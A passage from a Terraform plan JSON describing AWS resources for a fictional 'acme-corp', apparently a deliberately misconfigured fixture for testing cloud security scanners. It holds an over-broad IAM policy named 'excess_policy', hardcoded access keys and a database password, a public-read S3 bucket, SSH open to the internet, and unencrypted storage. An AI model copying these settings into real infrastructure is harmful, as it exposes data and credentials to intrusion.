\"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSServicePolicy\",\n            \"role\": \"123456789123-acme-corp-iam-for-eks\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_user.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user\",\n          \"name\": \"user\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"force_destroy\": true,\n            \"name\": \"123456789123-acme-corp-user\",\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-user\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_iam_user_policy.userpolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user_policy\",\n          \"name\": \"userpolicy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"excess_policy\",\n            \"name_prefix\": null,\n            \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"ec2:*\\\",\\n        \\\"s3:*\\\",\\n        \\\"lambda:*\\\",\\n        \\\"cloudwatch:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\",\n            \"user\": \"123456789123-acme-corp-user\"\n          }\n        },\n        {\n          \"address\": \"aws_instance.db_app\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"db_app\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"ami\": \"ami-0f0a6d00932023856\",\n            \"credit_specification\": [],\n            \"disable_api_termination\": null,\n            \"ebs_optimized\": null,\n            \"get_password_data\": false,\n            \"hibernation\": null,\n            \"iam_instance_profile\": \"123456789123-acme-corp-profile\",\n            \"instance_initiated_shutdown_behavior\": null,\n            \"instance_type\": \"t2.nano\",\n            \"monitoring\": null,\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-dbapp\"\n            },\n            \"timeouts\": null,\n            \"user_data_base64\": null\n          }\n        },\n        {\n          \"address\": \"aws_instance.web_host\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"web_host\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"ami\": \"ami-09a5b0b7edf08843d\",\n            \"credit_specification\": [],\n            \"disable_api_termination\": null,\n            \"ebs_optimized\": null,\n            \"get_password_data\": false,\n            \"hibernation\": null,\n            \"iam_instance_profile\": null,\n            \"instance_initiated_shutdown_behavior\": null,\n            \"instance_type\": \"t2.nano\",\n            \"monitoring\": null,\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-ec2\"\n            },\n            \"timeouts\": null,\n            \"user_data\": \"44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2\",\n            \"user_data_base64\": null\n          }\n        },\n        {\n          \"address\": \"aws_internet_gateway.web_igw\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_internet_gateway\",\n          \"name\": \"web_igw\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-igw\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_kms_alias.logs_key_alias\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_alias\",\n          \"name\": \"logs_key_alias\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"alias/123456789123-acme-corp-logs-bucket-key\",\n            \"name_prefix\": null\n          }\n        },\n        {\n          \"address\": \"aws_kms_key.logs_key\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_key\",\n          \"name\": \"logs_key\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"customer_master_key_spec\": \"SYMMETRIC_DEFAULT\",\n            \"deletion_window_in_days\": 7,\n            \"description\": \"123456789123-acme-corp-logs bucket key\",\n            \"enable_key_rotation\": false,\n            \"is_enabled\": true,\n            \"key_usage\": \"ENCRYPT_DECRYPT\",\n            \"tags\": null\n          }\n        },\n        {\n          \"address\": \"aws_lambda_function.analysis_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_lambda_function\",\n          \"name\": \"analysis_lambda\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"dead_letter_config\": [],\n            \"description\": null,\n            \"environment\": [\n              {\n                \"variables\": {\n                  \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n                  \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n                }\n              }\n            ],\n            \"file_system_config\": [],\n            \"filename\": \"resources/lambda_function_payload.zip\",\n            \"function_name\": \"123456789123-acme-corp-analysis\",\n            \"handler\": \"exports.test\",\n            \"kms_key_arn\": null,\n            \"layers\": null,\n            \"memory_size\": 128,\n            \"publish\": false,\n            \"reserved_concurrent_executions\": -1,\n            \"runtime\": \"nodejs12.x\",\n            \"s3_bucket\": null,\n            \"s3_key\": null,\n            \"s3_object_version\": null,\n            \"source_code_hash\": \"Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=\",\n            \"tags\": null,\n            \"timeout\": 3,\n            \"timeouts\": null,\n            \"vpc_config\": []\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"apply_immediately\": true,\n            \"backup_retention_period\": 5,\n            \"cluster_identifier\": \"neptunedb1\",\n            \"deletion_protection\": null,\n            \"enable_cloudwatch_logs_exports\": null,\n            \"engine\": \"neptune\",\n            \"final_snapshot_identifier\": null,\n            \"iam_database_authentication_enabled\": false,\n            \"iam_roles\": null,\n            \"neptune_cluster_parameter_group_name\": \"default.neptune1\",\n            \"port\": 8182,\n            \"preferred_backup_window\": \"07:00-09:00\",\n            \"replication_source_identifier\": null,\n            \"skip_final_snapshot\": true,\n            \"snapshot_identifier\": null,\n            \"storage_encrypted\": false,\n            \"tags\": null,\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster_instance.default[0]\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster_instance\",\n          \"name\": \"default\",\n          \"index\": 0,\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"apply_immediately\": true,\n            \"auto_minor_version_upgrade\": true,\n            \"engine\": \"neptune\",\n            \"instance_class\": \"db.t3.medium\",\n            \"neptune_parameter_group_name\": \"default.neptune1\",\n            \"port\": 8182,\n            \"promotion_tier\": 0,\n            \"publicly_accessible\": false,\n            \"tags\": null,\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster_snapshot.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster_snapshot\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"db_cluster_snapshot_identifier\": \"resourcetestsnapshot1\",\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_network_interface.web-eni\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_network_interface\",\n          \"name\": \"web-eni\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": null,\n            \"private_ips\": [\n              \"172.16.10.100\"\n            ],\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-primary_network_interface\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_route.public_internet_gateway\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route\",\n          \"name\": \"public_internet_gateway\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"destination_cidr_block\": \"0.0.0.0/0\",\n            \"destination_ipv6_cidr_block\": null,\n            \"timeouts\": {\n              \"create\": \"5m\",\n              \"delete\": null\n            },\n            \"transit_gateway_id\": null,\n            \"vpc_peering_connection_id\": \"\"\n          }\n        },\n        {\n          \"address\": \"aws_route_table.web_rtb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table\",\n          \"name\": \"web_rtb\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-rtb\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"gateway_id\": null\n          }\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc2\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"gateway_id\": null\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.data\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"public-read\",\n            \"bucket\": \"123456789123-acme-corp-data\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-data\"\n            },\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.data_science\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data_science\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-data-science\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [\n              {\n                \"target_prefix\": \"log/\"\n              }\n            ],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": null,\n            \"versioning\": [\n              {\n                \"enabled\": true,\n                \"mfa_delete\": false\n              }\n            ],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.financials\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"financials\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-financials\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-financials\"\n            },\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.flowbucket\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"flowbucket\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-flowlogs\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-flowlogs\"\n            },\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.logs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"logs\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"log-delivery-write\",\n            \"bucket\": \"123456789123-acme-corp-logs\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [\n              {\n                \"rule\": [\n                  {\n                    \"apply_server_side_encryption_by_default\": [\n                      {\n                        \"sse_algorithm\": \"aws:kms\"\n                      }\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-logs\"\n            },\n            \"versioning\": [\n              {\n                \"enabled\": true,\n                \"mfa_delete\": false\n              }\n            ],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.operations\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"operations\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-operations\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-operations\"\n            },\n            \"versioning\": [\n              {\n                \"enabled\": true,\n                \"mfa_delete\": false\n              }\n            ],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket_object.data_object\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket_object\",\n          \"name\": \"data_object\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"cache_control\": null,\n            \"content\": null,\n            \"content_base64\": null,\n            \"content_disposition\": null,\n            \"content_encoding\": null,\n            \"content_language\": null,\n            \"force_destroy\": false,\n            \"key\": \"customer-master.xlsx\",\n            \"metadata\": null,\n            \"object_lock_legal_hold_status\": null,\n            \"object_lock_mode\": null,\n            \"object_lock_retain_until_date\": null,\n            \"source\": \"resources/customer-master.xlsx\",\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-customer-master\"\n            },\n            \"website_redirect\": null\n          }\n        },\n        {\n          \"address\": \"aws_security_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"description\": \"Managed by Terraform\",\n            \"name\": \"123456789123-acme-corp-rds-sg\",\n            \"name_prefix\": null,\n            \"revoke_rules_on_delete\": false,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-rds-sg\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_security_group.web-node\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"web-node\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"description\": \"123456789123-acme-corp Security Group\",\n            \"egress\": [\n              {\n                \"cidr_blocks\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"description\": \"\",\n                \"from_port\": 0,\n                \"ipv6_cidr_blocks\": [],\n                \"prefix_list_ids\": [],\n                \"protocol\": \"-1\",\n                \"security_groups\": [],\n                \"self\": false,\n                \"to_port\": 0\n              }\n            ],\n            \"ingress\": [\n              {\n                \"cidr_blocks\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"description\": \"\",\n                \"from_port\": 22,\n                \"ipv6_cidr_blocks\": [],\n                \"prefix_list_ids\": [],\n                \"protocol\": \"tcp\",\n                \"security_groups\": [],\n                \"self\": false,\n                \"to_port\": 22\n              },\n              {\n                \"cidr_blocks\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"description\": \"\",\n                \"from_port\": 80,\n                \"ipv6_cidr_blocks\": [],\n                \"prefix_list_ids\": [],\n                \"protocol\": \"tcp\",\n                \"security_groups\": [],\n                \"self\": false,\n                \"to_port\": 80\n              }\n            ],\n            \"name\": \"123456789123-acme-corp-sg\",\n            \"name_prefix\": null,\n            \"revoke_rules_on_delete\": false,\n            \"tags\": null,\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_security_group_rule.egress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"egress\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 2,\n          \"values\": {\n            \"cidr_blocks\": [\n              \"0.0.0.0/0\"\n            ],\n            \"description\": null,\n            \"from_port\": 0,\n            \"ipv6_cidr_blocks\": null,\n            \"prefix_list_ids\": null,\n            \"protocol\": \"-1\",\n            \"self\": false,\n            \"to_port\": 0,\n            \"type\": \"egress\"\n          }\n        },\n        {\n          \"address\": \"aws_security_group_rule.ingress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"ingress\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 2,\n          \"values\": {\n            \"cidr_blocks\": [\n              \"172.16.0.0/16\"\n            ],\n            \"description\": null,\n            \"from_port\": 3306,\n            \"ipv6_cidr_blocks\": null,\n            \"prefix_list_ids\": null,\n            \"protocol\": \"tcp\",\n            \"self\": false,\n            \"to_port\": 3306,\n            \"type\": \"ingress\"\n          }\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet1\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet1\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2a\",\n            \"cidr_block\": \"10.10.10.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-eks-subnet\",\n              \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet2\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2b\",\n            \"cidr_block\": \"10.10.11.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-eks-subnet2\",\n              \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2a\",\n            \"cidr_block\": \"172.16.10.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-subnet\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet2\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2b\",\n            \"cidr_block\": \"172.16.11.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-subnet2\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_volume_attachment.ebs_att\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_volume_attachment\",\n          \"name\": \"ebs_att\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"device_name\": \"/dev/sdh\",\n            \"force_detach\": null,\n            \"skip_destroy\": null\n          }\n        },\n        {\n          \"address\": \"aws_vpc.eks_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"eks_vpc\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_generated_ipv6_cidr_block\": false,\n            \"cidr_block\": \"10.10.0.0/16\",\n            \"enable_dns_hostnames\": true,\n            \"enable_dns_support\": true,\n            \"instance_tenancy\": \"default\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-eks-vpc\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_vpc.web_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"web_vpc\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_generated_ipv6_cidr_block\": false,\n            \"cidr_block\": \"172.16.0.0/16\",\n            \"enable_dns_hostnames\": true,\n            \"enable_dns_support\": true,\n            \"instance_tenancy\": \"default\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-vpc\"\n            }\n          }\n        },\n        {\n          \"address\": \"null_resource.push_image\",\n          \"mode\": \"managed\",\n          \"type\": \"null_resource\",\n          \"name\": \"push_image\",\n          \"provider_name\": \"null\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"triggers\": null\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_db_instance.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_instance\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"allocated_storage\": 20,\n          \"allow_major_version_upgrade\": null,\n          \"apply_immediately\": true,\n          \"auto_minor_version_upgrade\": true,\n          \"backup_retention_period\": 0,\n          \"copy_tags_to_snapshot\": false,\n          \"db_subnet_group_name\": \"sg-123456789123-acme-corp\",\n          \"delete_automated_backups\": true,\n          \"deletion_protection\": null,\n          \"domain\": null,\n          \"domain_iam_role_name\": null,\n          \"enabled_cloudwatch_logs_exports\": null,\n          \"engine\": \"mysql\",\n          \"engine_version\": \"8.0\",\n          \"final_snapshot_identifier\": null,\n          \"iam_database_authentication_enabled\": null,\n          \"identifier\": \"rds-123456789123-acme-corp\",\n          \"instance_class\": \"db.t3.micro\",\n          \"iops\": null,\n          \"max_allocated_storage\": null,\n          \"monitoring_interval\": 0,\n          \"multi_az\": false,\n          \"name\": \"db1\",\n          \"option_group_name\": \"og-123456789123-acme-corp\",\n          \"parameter_group_name\": \"pg-123456789123-acme-corp\",\n          \"password\": \"Aa1234321Bb\",\n          \"performance_insights_enabled\": false,\n          \"publicly_accessible\": true,\n          \"replicate_source_db\": null,\n          \"s3_import\": [],\n          \"security_group_names\": null,\n          \"skip_final_snapshot\": true,\n          \"snapshot_identifier\": null,\n          \"storage_encrypted\": false,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-rds\"\n          },\n          \"timeouts\": null,\n          \"username\": \"admin\"\n        },\n        \"after_unknown\": {\n          \"address\": true,\n          \"arn\": true,\n          \"availability_zone\": true,\n          \"backup_window\": true,\n          \"ca_cert_identifier\": true,\n          \"character_set_name\": true,\n          \"endpoint\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"identifier_prefix\": true,\n          \"kms_key_id\": true,\n          \"license_model\": true,\n          \"maintenance_window\": true,\n          \"monitoring_role_arn\": true,\n          \"performance_insights_kms_key_id\": true,\n          \"performance_insights_retention_period\": true,\n          \"port\": true,\n          \"replicas\": true,\n          \"resource_id\": true,\n          \"s3_import\": [],\n          \"status\": true,\n          \"storage_type\": true,\n          \"tags\": {},\n          \"timezone\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_option_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_option_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"engine_name\": \"mysql\",\n          \"major_engine_version\": \"8.0\",\n          \"name\": \"og-123456789123-acme-corp\",\n          \"option\": [],\n          \"option_group_description\": \"Terraform OG\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-og\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"option\": [],\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_parameter_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_parameter_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Terraform PG\",\n          \"family\": \"mysql8.0\",\n          \"name\": \"pg-123456789123-acme-corp\",\n          \"parameter\": [\n            {\n              \"apply_method\": \"immediate\",\n              \"name\": \"character_set_client\",\n              \"value\": \"utf8\"\n            },\n            {\n              \"apply_method\": \"immediate\",\n              \"name\": \"character_set_server\",\n              \"value\": \"utf8\"\n            }\n          ],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-pg\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"parameter\": [\n            {},\n            {}\n          ],\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_subnet_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_subnet_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Terraform DB Subnet Group\",\n          \"name\": \"sg-123456789123-acme-corp\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"sg-123456789123-acme-corp\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"subnet_ids\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ebs_snapshot.example_snapshot\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ebs_snapshot\",\n      \"name\": \"example_snapshot\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"123456789123-acme-corp-ebs-snapshot\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ebs-snapshot\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"data_encryption_key_id\": true,\n          \"encrypted\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"owner_alias\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"volume_id\": true,\n          \"volume_size\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ebs_volume.web_host_storage\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ebs_volume\",\n      \"name\": \"web_host_storage\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"availability_zone\": \"us-west-2a\",\n          \"multi_attach_enabled\": null,\n          \"outpost_arn\": null,\n          \"size\": 1,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ebs\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"encrypted\": true,\n          \"id\": true,\n          \"iops\": true,\n          \"kms_key_id\": true,\n          \"snapshot_id\": true,\n          \"tags\": {},\n          \"type\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ecr_repository.repository\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ecr_repository\",\n      \"name\": \"repository\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"encryption_configuration\": [],\n          \"image_scanning_configuration\": [],\n          \"image_tag_mutability\": \"MUTABLE\",\n          \"name\": 